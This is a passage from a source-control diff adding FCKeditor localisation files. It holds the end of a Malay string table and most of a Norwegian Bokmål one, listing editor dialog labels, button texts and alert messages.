+DlgBtnResetSize		: "Saiz Set Semula",
+DlgImgBorder		: "Border",
+DlgImgHSpace		: "Ruang Melintang",
+DlgImgVSpace		: "Ruang Menegak",
+DlgImgAlign			: "Jajaran",
+DlgImgAlignLeft		: "Kiri",
+DlgImgAlignAbsBottom: "Bawah Mutlak",
+DlgImgAlignAbsMiddle: "Pertengahan Mutlak",
+DlgImgAlignBaseline	: "Garis Dasar",
+DlgImgAlignBottom	: "Bawah",
+DlgImgAlignMiddle	: "Pertengahan",
+DlgImgAlignRight	: "Kanan",
+DlgImgAlignTextTop	: "Atas Text",
+DlgImgAlignTop		: "Atas",
+DlgImgPreview		: "Prebiu",
+DlgImgAlertUrl		: "Sila taip URL untuk fail gambar",
+DlgImgLinkTab		: "Sambungan",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "Sambungan",
+DlgLnkInfoTab		: "Butiran Sambungan",
+DlgLnkTargetTab		: "Sasaran",
+
+DlgLnkType			: "Jenis Sambungan",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Pautan dalam muka surat ini",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<lain-lain>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Sila pilih pautan",
+DlgLnkAnchorByName	: "dengan menggunakan nama pautan",
+DlgLnkAnchorById	: "dengan menggunakan ID elemen",
+DlgLnkNoAnchors		: "<Tiada pautan terdapat dalam dokumen ini>",
+DlgLnkEMail			: "Alamat E-Mail",
+DlgLnkEMailSubject	: "Subjek Mesej",
+DlgLnkEMailBody		: "Isi Kandungan Mesej",
+DlgLnkUpload		: "Muat Naik",
+DlgLnkBtnUpload		: "Hantar ke Server",
+
+DlgLnkTarget		: "Sasaran",
+DlgLnkTargetFrame	: "<bingkai>",
+DlgLnkTargetPopup	: "<tetingkap popup>",
+DlgLnkTargetBlank	: "Tetingkap Baru (_blank)",
+DlgLnkTargetParent	: "Tetingkap Parent (_parent)",
+DlgLnkTargetSelf	: "Tetingkap yang Sama (_self)",
+DlgLnkTargetTop		: "Tetingkap yang paling atas (_top)",
+DlgLnkTargetFrameName	: "Nama Bingkai Sasaran",
+DlgLnkPopWinName	: "Nama Tetingkap Popup",
+DlgLnkPopWinFeat	: "Ciri Tetingkap Popup",
+DlgLnkPopResize		: "Saiz bolehubah",
+DlgLnkPopLocation	: "Bar Lokasi",
+DlgLnkPopMenu		: "Bar Menu",
+DlgLnkPopScroll		: "Bar-bar skrol",
+DlgLnkPopStatus		: "Bar Status",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Skrin Penuh (IE)",
+DlgLnkPopDependent	: "Bergantungan (Netscape)",
+DlgLnkPopWidth		: "Lebar",
+DlgLnkPopHeight		: "Tinggi",
+DlgLnkPopLeft		: "Posisi Kiri",
+DlgLnkPopTop		: "Posisi Atas",
+
+DlnLnkMsgNoUrl		: "Sila taip sambungan URL",
+DlnLnkMsgNoEMail	: "Sila taip alamat e-mail",
+DlnLnkMsgNoAnchor	: "Sila pilih pautan berkenaaan",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Pilihan Warna",
+DlgColorBtnClear	: "Nyahwarna",
+DlgColorHighlight	: "Terang",
+DlgColorSelected	: "Dipilih",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Masukkan Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Sila pilih huruf istimewa",
+
+// Table Dialog
+DlgTableTitle		: "Ciri-ciri Jadual",
+DlgTableRows		: "Barisan",
+DlgTableColumns		: "Jaluran",
+DlgTableBorder		: "Saiz Border",
+DlgTableAlign		: "Penjajaran",
+DlgTableAlignNotSet	: "<Tidak diset>",
+DlgTableAlignLeft	: "Kiri",
+DlgTableAlignCenter	: "Tengah",
+DlgTableAlignRight	: "Kanan",
+DlgTableWidth		: "Lebar",
+DlgTableWidthPx		: "piksel-piksel",
+DlgTableWidthPc		: "peratus",
+DlgTableHeight		: "Tinggi",
+DlgTableCellSpace	: "Ruangan Antara Sel",
+DlgTableCellPad		: "Tambahan Ruang Sel",
+DlgTableCaption		: "Keterangan",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Ciri-ciri Sel",
+DlgCellWidth		: "Lebar",
+DlgCellWidthPx		: "piksel-piksel",
+DlgCellWidthPc		: "peratus",
+DlgCellHeight		: "Tinggi",
+DlgCellWordWrap		: "Mengulung Perkataan",
+DlgCellWordWrapNotSet	: "<Tidak diset>",
+DlgCellWordWrapYes	: "Ya",
+DlgCellWordWrapNo	: "Tidak",
+DlgCellHorAlign		: "Jajaran Membujur",
+DlgCellHorAlignNotSet	: "<Tidak diset>",
+DlgCellHorAlignLeft	: "Kiri",
+DlgCellHorAlignCenter	: "Tengah",
+DlgCellHorAlignRight: "Kanan",
+DlgCellVerAlign		: "Jajaran Menegak",
+DlgCellVerAlignNotSet	: "<Tidak diset>",
+DlgCellVerAlignTop	: "Atas",
+DlgCellVerAlignMiddle	: "Tengah",
+DlgCellVerAlignBottom	: "Bawah",
+DlgCellVerAlignBaseline	: "Garis Dasar",
+DlgCellRowSpan		: "Penggunaan Baris",
+DlgCellCollSpan		: "Penggunaan Lajur",
+DlgCellBackColor	: "Warna Latarbelakang",
+DlgCellBorderColor	: "Warna Border",
+DlgCellBtnSelect	: "Pilih...",
+
+// Find Dialog
+DlgFindTitle		: "Carian",
+DlgFindFindBtn		: "Cari",
+DlgFindNotFoundMsg	: "Text yang dicari tidak dijumpai.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Gantian",
+DlgReplaceFindLbl		: "Perkataan yang dicari:",
+DlgReplaceReplaceLbl	: "Diganti dengan:",
+DlgReplaceCaseChk		: "Padanan case huruf",
+DlgReplaceReplaceBtn	: "Ganti",
+DlgReplaceReplAllBtn	: "Ganti semua",
+DlgReplaceWordChk		: "Padana Keseluruhan perkataan",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Keselamatan perisian browser anda tidak membenarkan operasi tampalan text/imej. Sila gunakan papan kekunci (Ctrl+V).",
+PasteErrorCut	: "Keselamatan perisian browser anda tidak membenarkan operasi suntingan text/imej. Sila gunakan papan kekunci (Ctrl+X).",
+PasteErrorCopy	: "Keselamatan perisian browser anda tidak membenarkan operasi salinan text/imej. Sila gunakan papan kekunci (Ctrl+C).",
+
+PasteAsText		: "Tampal sebagai text biasa",
+PasteFromWord	: "Tampal dari perisian \"Word\"",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "Otomatik",
+ColorMoreColors	: "Warna lain-lain...",
+
+// Document Properties
+DocProps		: "Ciri-ciri dokumen",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ciri-ciri Pautan",
+DlgAnchorName		: "Nama Pautan",
+DlgAnchorErrorName	: "Sila taip nama pautan",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Tidak terdapat didalam kamus",
+DlgSpellChangeTo		: "Tukarkan kepada",
+DlgSpellBtnIgnore		: "Biar",
+DlgSpellBtnIgnoreAll	: "Biarkan semua",
+DlgSpellBtnReplace		: "Ganti",
+DlgSpellBtnReplaceAll	: "Gantikan Semua",
+DlgSpellBtnUndo			: "Batalkan",
+DlgSpellNoSuggestions	: "- Tiada cadangan -",
+DlgSpellProgress		: "Pemeriksaan ejaan sedang diproses...",
+DlgSpellNoMispell		: "Pemeriksaan ejaan siap: Tiada salah ejaan",
+DlgSpellNoChanges		: "Pemeriksaan ejaan siap: Tiada perkataan diubah",
+DlgSpellOneChange		: "Pemeriksaan ejaan siap: Satu perkataan telah diubah",
+DlgSpellManyChanges		: "Pemeriksaan ejaan siap: %1 perkataan diubah",
+
+IeSpellDownload			: "Pemeriksa ejaan tidak dipasang. Adakah anda mahu muat turun sekarang?",
+
+// Button Dialog
+DlgButtonText		: "Teks (Nilai)",
+DlgButtonType		: "Jenis",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nama",
+DlgCheckboxValue	: "Nilai",
+DlgCheckboxSelected	: "Dipilih",
+
+// Form Dialog
+DlgFormName		: "Nama",
+DlgFormAction	: "Tindakan borang",
+DlgFormMethod	: "Cara borang dihantar",
+
+// Select Field Dialog
+DlgSelectName		: "Nama",
+DlgSelectValue		: "Nilai",
+DlgSelectSize		: "Saiz",
+DlgSelectLines		: "garisan",
+DlgSelectChkMulti	: "Benarkan pilihan pelbagai",
+DlgSelectOpAvail	: "Pilihan sediada",
+DlgSelectOpText		: "Teks",
+DlgSelectOpValue	: "Nilai",
+DlgSelectBtnAdd		: "Tambah Pilihan",
+DlgSelectBtnModify	: "Ubah Pilihan",
+DlgSelectBtnUp		: "Naik ke atas",
+DlgSelectBtnDown	: "Turun ke bawah",
+DlgSelectBtnSetValue : "Set sebagai nilai terpilih",
+DlgSelectBtnDelete	: "Padam",
+
+// Textarea Dialog
+DlgTextareaName	: "Nama",
+DlgTextareaCols	: "Lajur",
+DlgTextareaRows	: "Baris",
+
+// Text Field Dialog
+DlgTextName			: "Nama",
+DlgTextValue		: "Nilai",
+DlgTextCharWidth	: "Lebar isian",
+DlgTextMaxChars		: "Isian Maksimum",
+DlgTextType			: "Jenis",
+DlgTextTypeText		: "Teks",
+DlgTextTypePass		: "Kata Laluan",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nama",
+DlgHiddenValue	: "Nilai",
+
+// Bulleted List Dialog
+BulletedListProp	: "Ciri-ciri senarai berpeluru",
+NumberedListProp	: "Ciri-ciri senarai bernombor",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Jenis",
+DlgLstTypeCircle	: "Circle",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Square",
+DlgLstTypeNumbers	: "Nombor-nombor (1, 2, 3)",
+DlgLstTypeLCase		: "Huruf-huruf kecil (a, b, c)",
+DlgLstTypeUCase		: "Huruf-huruf besar (A, B, C)",
+DlgLstTypeSRoman	: "Nombor Roman Kecil (i, ii, iii)",
+DlgLstTypeLRoman	: "Nombor Roman Besar (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Umum",
+DlgDocBackTab		: "Latarbelakang",
+DlgDocColorsTab		: "Warna dan margin",
+DlgDocMetaTab		: "Data Meta",
+
+DlgDocPageTitle		: "Tajuk Muka Surat",
+DlgDocLangDir		: "Arah Tulisan",
+DlgDocLangDirLTR	: "Kiri ke Kanan (LTR)",
+DlgDocLangDirRTL	: "Kanan ke Kiri (RTL)",
+DlgDocLangCode		: "Kod Bahasa",
+DlgDocCharSet		: "Enkod Set Huruf",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Enkod Set Huruf yang Lain",
+
+DlgDocDocType		: "Jenis Kepala Dokumen",
+DlgDocDocTypeOther	: "Jenis Kepala Dokumen yang Lain",
+DlgDocIncXHTML		: "Masukkan pemula kod XHTML",
+DlgDocBgColor		: "Warna Latarbelakang",
+DlgDocBgImage		: "URL Gambar Latarbelakang",
+DlgDocBgNoScroll	: "Imej Latarbelakang tanpa Skrol",
+DlgDocCText			: "Teks",
+DlgDocCLink			: "Sambungan",
+DlgDocCVisited		: "Sambungan telah Dilawati",
+DlgDocCActive		: "Sambungan Aktif",
+DlgDocMargins		: "Margin Muka Surat",
+DlgDocMaTop			: "Atas",
+DlgDocMaLeft		: "Kiri",
+DlgDocMaRight		: "Kanan",
+DlgDocMaBottom		: "Bawah",
+DlgDocMeIndex		: "Kata Kunci Indeks Dokumen (dipisahkan oleh koma)",
+DlgDocMeDescr		: "Keterangan Dokumen",
+DlgDocMeAuthor		: "Penulis",
+DlgDocMeCopy		: "Hakcipta",
+DlgDocPreview		: "Prebiu",
+
+// Templates Dialog
+Templates			: "Templat",
+DlgTemplatesTitle	: "Templat Kandungan",
+DlgTemplatesSelMsg	: "Sila pilih templat untuk dibuka oleh editor<br>(kandungan sebenar akan hilang):",
+DlgTemplatesLoading	: "Senarai Templat sedang diproses. Sila Tunggu...",
+DlgTemplatesNoTpl	: "(Tiada Templat Disimpan)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Tentang",
+DlgAboutBrowserInfoTab	: "Maklumat Perisian Browser",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "versi",
+DlgAboutLicense		: "Perlesenan dibawah terma GNU Lesser General Public License",
+DlgAboutInfo		: "Untuk maklumat lanjut sila pergi ke"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nb.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nb.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nb.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: nb.js
+ * 	Norwegian Bokmål language file.
+ * 
+ * File Authors:
+ * 		Martin Kronstad (www.siteman.no) (martin.kronstad@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skjul verktøylinje",
+ToolbarExpand		: "Vis verktøylinje",
+
+// Toolbar Items and Context Menu
+Save				: "Lagre",
+NewPage				: "Ny Side",
+Preview				: "Forhåndsvis",
+Cut					: "Klipp ut",
+Copy				: "Kopier",
+Paste				: "Lim inn",
+PasteText			: "Lim inn som ren tekst",
+PasteWord			: "Lim inn fra Word",
+Print				: "Skriv ut",
+SelectAll			: "Velg alle",
+RemoveFormat		: "Fjern format",
+InsertLinkLbl		: "Lenke",
+InsertLink			: "Sett inn/Rediger lenke",
+RemoveLink			: "Fjern lenke",
+Anchor				: "Sett inn/Rediger anker",
+InsertImageLbl		: "Bilde",
+InsertImage			: "Sett inn/Rediger bilde",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Sett inn/Rediger Flash",
+InsertTableLbl		: "Tabell",
+InsertTable			: "Sett inn/Rediger tabell",
+InsertLineLbl		: "Linje",
+InsertLine			: "Sett inn horisontal linje",
+InsertSpecialCharLbl: "Spesielt tegn",
+InsertSpecialChar	: "Sett inn spesielt tegn",
+InsertSmileyLbl		: "Smil",
+InsertSmiley		: "Sett inn smil",
+About				: "Om FCKeditor",
+Bold				: "Fet",
+Italic				: "Kursiv",
+Underline			: "Understrek",
+StrikeThrough		: "Gjennomstrek",
+Subscript			: "Senket skrift",
+Superscript			: "Hevet skrift",
+LeftJustify			: "Venstrejuster",
+CenterJustify		: "Midtjuster",
+RightJustify		: "Høyrejuster",
+BlockJustify		: "Blokkjuster",
+DecreaseIndent		: "Senk nivå",
+IncreaseIndent		: "Øk nivå",
+Undo				: "Angre",
+Redo				: "Gjør om",
+NumberedListLbl		: "Numrert liste",
+NumberedList		: "Sett inn/Fjern numrert liste",
+BulletedListLbl		: "Uordnet liste",
+BulletedList		: "Sett inn/Fjern uordnet liste",
+ShowTableBorders	: "Vis tabellrammer",
+ShowDetails			: "Vis detaljer",
+Style				: "Stil",
+FontFormat			: "Format",
+Font				: "Skrift",
+FontSize			: "Størrelse",
+TextColor			: "Tekstfarge",
+BGColor				: "Bakgrunnsfarge",
+Source				: "Kilde",
+Find				: "Finn",
+Replace				: "Erstatt",
+SpellCheck			: "Stavekontroll",
+UniversalKeyboard	: "Universelt tastatur",
+PageBreakLbl		: "Sideskift",
+PageBreak			: "Sett inn sideskift",
+
+Form			: "Skjema",
+Checkbox		: "Sjekkboks",
+RadioButton		: "Radioknapp",
+TextField		: "Tekstfelt",
+Textarea		: "Tekstområde",
+HiddenField		: "Skjult felt",
+Button			: "Knapp",
+SelectionField	: "Dropdown meny",
+ImageButton		: "Bildeknapp",
+
+FitWindow		: "Maksimer størrelsen på redigeringsverktøyet",
+
+// Context Menu
+EditLink			: "Rediger lenke",
+CellCM				: "Celle",
+RowCM				: "Rader",
+ColumnCM			: "Kolonne",
+InsertRow			: "Sett inn rad",
+DeleteRows			: "Slett rader",
+InsertColumn		: "Sett inn kolonne",
+DeleteColumns		: "Slett kolonner",
+InsertCell			: "Sett inn celle",
+DeleteCells			: "Slett celler",
+MergeCells			: "Slå sammen celler",
+SplitCell			: "Splitt celler",
+TableDelete			: "Slett tabell",
+CellProperties		: "Celleegenskaper",
+TableProperties		: "Tabellegenskaper",
+ImageProperties		: "Bildeegenskaper",
+FlashProperties		: "Flash Egenskaper",
+
+AnchorProp			: "Ankeregenskaper",
+ButtonProp			: "Knappegenskaper",
+CheckboxProp		: "Sjekkboksegenskaper",
+HiddenFieldProp		: "Skjult felt egenskaper",
+RadioButtonProp		: "Radioknappegenskaper",
+ImageButtonProp		: "Bildeknappegenskaper",
+TextFieldProp		: "Tekstfeltegenskaper",
+SelectionFieldProp	: "Dropdown menyegenskaper",
+TextareaProp		: "Tekstfeltegenskaper",
+FormProp			: "Skjemaegenskaper",
+
+FontFormats			: "Normal;Formatert;Adresse;Tittel 1;Tittel 2;Tittel 3;Tittel 4;Tittel 5;Tittel 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Lager XHTML. Vennligst vent...",
+Done				: "Ferdig",
+PasteWordConfirm	: "Teksten du prøver å lime inn ser ut som om den kommer fra word , du bør rense den før du limer inn , vil du gjøre dette?",
+NotCompatiblePaste	: "Denne kommandoen er tilgjenglig kun for Internet Explorer version 5.5 eller bedre. Vil du fortsette uten å rense?(Du kan lime inn som ren tekst)",
+UnknownToolbarItem	: "Ukjent menyvalg \"%1\"",
+UnknownCommand		: "Ukjent kommando \"%1\"",
+NotImplemented		: "Kommando ikke ennå implimentert",
+UnknownToolbarSet	: "Verktøylinjesett \"%1\" finnes ikke",
+NoActiveX			: "Din nettleser's sikkerhetsinstillinger kan begrense noen av funksjonene i redigeringsverktøyet. Du må aktivere \"Kjør ActiveXkontroller og plugins\". Du kan oppleve feil og advarsler om manglende funksjoner",
+BrowseServerBlocked : "Kunne ikke åpne dialogboksen for filarkiv. Pass på at du har slått av popupstoppere.",
+DialogBlocked		: "Kunne ikke åpne dialogboksen. Pass på at du har slått av popupstoppere.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Avbryt",
+DlgBtnClose			: "Lukk",
+DlgBtnBrowseServer	: "Bla igjennom server",
+DlgAdvancedTag		: "Avansert",
+DlgOpOther			: "<Annet>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Vennligst skriv inn URL'en",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ikke satt>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Språkretning",
+DlgGenLangDirLtr	: "Venstre til høyre (VTH)",
+DlgGenLangDirRtl	: "Høyre til venstre (HTV)",
+DlgGenLangCode		: "Språk kode",
+DlgGenAccessKey		: "Aksessknapp",
+DlgGenName			: "Navn",
+DlgGenTabIndex		: "Tab Indeks",
+DlgGenLongDescr		: "Utvidet beskrivelse",
+DlgGenClass			: "Stilarkklasser",
+DlgGenTitle			: "Tittel",
+DlgGenContType		: "Type",
+DlgGenLinkCharset	: "Lenket språkkart",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Bildeegenskaper",
+DlgImgInfoTab		: "Bildeinformasjon",
+DlgImgBtnUpload		: "Send det til serveren",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Last opp",
+DlgImgAlt			: "Alternativ tekst",
+DlgImgWidth			: "Bredde",
+DlgImgHeight		: "Høyde",
+DlgImgLockRatio		: "Lås forhold",
+DlgBtnResetSize		: "Tilbakestill størrelse",
+DlgImgBorder		: "Ramme",
+DlgImgHSpace		: "HMarg",
+DlgImgVSpace		: "VMarg",
+DlgImgAlign			: "Juster",
+DlgImgAlignLeft		: "Venstre",
+DlgImgAlignAbsBottom: "Abs bunn",
+DlgImgAlignAbsMiddle: "Abs midten",
+DlgImgAlignBaseline	: "Bunnlinje",
+DlgImgAlignBottom	: "Bunn",
+DlgImgAlignMiddle	: "Midten",
+DlgImgAlignRight	: "Høyre",
+DlgImgAlignTextTop	: "Tekst topp",
+DlgImgAlignTop		: "Topp",
+DlgImgPreview		: "Forhåndsvis",
+DlgImgAlertUrl		: "Vennligst skriv bildeurlen",
+DlgImgLinkTab		: "Lenke",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Egenskaper",
+DlgFlashChkPlay		: "Auto Spill",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Slå på Flash meny",
+DlgFlashScale		: "Skaler",
+DlgFlashScaleAll	: "Vis alt",
+DlgFlashScaleNoBorder	: "Ingen ramme",
+DlgFlashScaleFit	: "Skaler til å passeExact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Lenke",
+DlgLnkInfoTab		: "Lenkeinfo",
+DlgLnkTargetTab		: "Mål",
+
+DlgLnkType			: "Lenketype",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Bokmerk denne siden",
+DlgLnkTypeEMail		: "E-Post",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<annet>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Velg ett anker",
+DlgLnkAnchorByName	: "Anker etter navn",
+DlgLnkAnchorById	: "Element etter ID",
+DlgLnkNoAnchors		: "<Ingen anker i dokumentet>",
+DlgLnkEMail			: "E-Post Addresse",
+DlgLnkEMailSubject	: "Meldingsemne",
+DlgLnkEMailBody		: "Melding",
+DlgLnkUpload		: "Last opp",
+DlgLnkBtnUpload		: "Send til server",
+
+DlgLnkTarget		: "Mål",
+DlgLnkTargetFrame	: "<ramme>",
+DlgLnkTargetPopup	: "<popup vindu>",
+DlgLnkTargetBlank	: "Nytt vindu (_blank)",
+DlgLnkTargetParent	: "Foreldre vindu (_parent)",
+DlgLnkTargetSelf	: "Samme vindu (_self)",
+DlgLnkTargetTop		: "Hele vindu (_top)",
+DlgLnkTargetFrameName	: "Målramme",
+DlgLnkPopWinName	: "Popup vindus navn",
+DlgLnkPopWinFeat	: "Popup vindus egenskaper",
+DlgLnkPopResize		: "Endre størrelse",
+DlgLnkPopLocation	: "Adresselinje",
+DlgLnkPopMenu		: "Menylinje",
+DlgLnkPopScroll		: "Scrollbar",
+DlgLnkPopStatus		: "Statuslinje",
+DlgLnkPopToolbar	: "Verktøylinje",
+DlgLnkPopFullScrn	: "Full skjerm (IE)",
+DlgLnkPopDependent	: "Avhenging (Netscape)",
+DlgLnkPopWidth		: "Bredde",
+DlgLnkPopHeight		: "Høyde",
+DlgLnkPopLeft		: "Venstre posisjon",
+DlgLnkPopTop		: "Topp posisjon",
+
+DlnLnkMsgNoUrl		: "Vennligst skriv inn lenkens url",
+DlnLnkMsgNoEMail	: "Vennligst skriv inn e-postadressen",
+DlnLnkMsgNoAnchor	: "Vennligst velg ett anker",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Velg farge",
+DlgColorBtnClear	: "Tøm",
+DlgColorHighlight	: "Marker",
+DlgColorSelected	: "Velg",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Sett inn smil",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Velg spesielt tegn",
+
+// Table Dialog
+DlgTableTitle		: "Tabellegenskaper",
+DlgTableRows		: "Rader",
+DlgTableColumns		: "Kolonner",
+DlgTableBorder		: "Rammestørrelse",
+DlgTableAlign		: "Justering",
+DlgTableAlignNotSet	: "<Ikke satt>",
+DlgTableAlignLeft	: "Venstre",
+DlgTableAlignCenter	: "Midtjuster",
+DlgTableAlignRight	: "Høyre",
+DlgTableWidth		: "Bredde",
+DlgTableWidthPx		: "pixler",
+DlgTableWidthPc		: "prosent",
+DlgTableHeight		: "Høyde",
+DlgTableCellSpace	: "Celle marg",
+DlgTableCellPad		: "Celle polstring",
+DlgTableCaption		: "Tittel",
+DlgTableSummary		: "Sammendrag",
+
+// Table Cell Dialog
+DlgCellTitle		: "Celle egenskaper",
+DlgCellWidth		: "Bredde",
+DlgCellWidthPx		: "pixeler",
+DlgCellWidthPc		: "prosent",
+DlgCellHeight		: "Høyde",
+DlgCellWordWrap		: "Tekstbrytning",
+DlgCellWordWrapNotSet	: "<Ikke satt>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nei",
+DlgCellHorAlign		: "Horisontal justering",
+DlgCellHorAlignNotSet	: "<Ikke satt>",
+DlgCellHorAlignLeft	: "Venstre",
+DlgCellHorAlignCenter	: "Midtjuster",
+DlgCellHorAlignRight: "Høyre",
+DlgCellVerAlign		: "Vertikal justering",
+DlgCellVerAlignNotSet	: "<Ikke satt>",
+DlgCellVerAlignTop	: "Topp",
+DlgCellVerAlignMiddle	: "Midten",
+DlgCellVerAlignBottom	: "Bunn",
+DlgCellVerAlignBaseline	: "Bunnlinje",
+DlgCellRowSpan		: "Radspenn",
+DlgCellCollSpan		: "Kolonnespenn",
+DlgCellBackColor	: "Bakgrunnsfarge",
+DlgCellBorderColor	: "Rammefarge",
+DlgCellBtnSelect	: "Velg...",
+
+// Find Dialog
+DlgFindTitle		: "Finn",
+DlgFindFindBtn		: "Finn",
+DlgFindNotFoundMsg	: "Den spesifiserte teksten ble ikke funnet.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Erstatt",
+DlgReplaceFindLbl		: "Finn hva:",
+DlgReplaceReplaceLbl	: "Erstatt med:",
+DlgReplaceCaseChk		: "Riktig case",
+DlgReplaceReplaceBtn	: "Erstatt",
+DlgReplaceReplAllBtn	: "Erstatt alle",
+DlgReplaceWordChk		: "Finn hele ordet",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk innliming av tekst. Vennligst brukt snareveien (Ctrl+V).",
+PasteErrorCut	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk klipping av tekst. Vennligst brukt snareveien (Ctrl+X).",
+PasteErrorCopy	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk kopiering av tekst. Vennligst brukt snareveien (Ctrl+C).",
+
+PasteAsText		: "Lim inn som ren tekst",
+PasteFromWord	: "Lim inn fra word",
+
+DlgPasteMsg2	: "Vennligst lim inn i den følgende boksen med tastaturet (<STRONG>Ctrl+V</STRONG>) og trykk <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorer fonter",
+DlgPasteRemoveStyles	: "Fjern stildefinisjoner",
+DlgPasteCleanBox		: "Tøm boksen",
+
+// Color Picker
+ColorAutomatic	: "Automatisk",
+ColorMoreColors	: "Flere farger...",
+
+// Document Properties
+DocProps		: "Dokumentegenskaper",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankeregenskaper",
+DlgAnchorName		: "Ankernavn",
+DlgAnchorErrorName	: "Vennligst skriv inn ankernavnet",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ikke i ordboken",
+DlgSpellChangeTo		: "Endre til",
+DlgSpellBtnIgnore		: "Ignorer",
+DlgSpellBtnIgnoreAll	: "Ignorer alle",
+DlgSpellBtnReplace		: "Erstatt",
+DlgSpellBtnReplaceAll	: "Erstatt alle",
+DlgSpellBtnUndo			: "Angre",
+DlgSpellNoSuggestions	: "- ingen forslag -",
+DlgSpellProgress		: "Stavekontroll pågår...",
+DlgSpellNoMispell		: "Stavekontroll fullført: ingen feilstavinger funnet",
+DlgSpellNoChanges		: "Stavekontroll fullført: ingen ord endret",
+DlgSpellOneChange		: "Stavekontroll fullført: Ett ord endret",
+DlgSpellManyChanges		: "Stavekontroll fullført: %1 ord endret",
+
+IeSpellDownload			: "Stavekontroll ikke installert, vil du laste den ned nå?",
+
+// Button Dialog
+DlgButtonText		: "Tekst",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
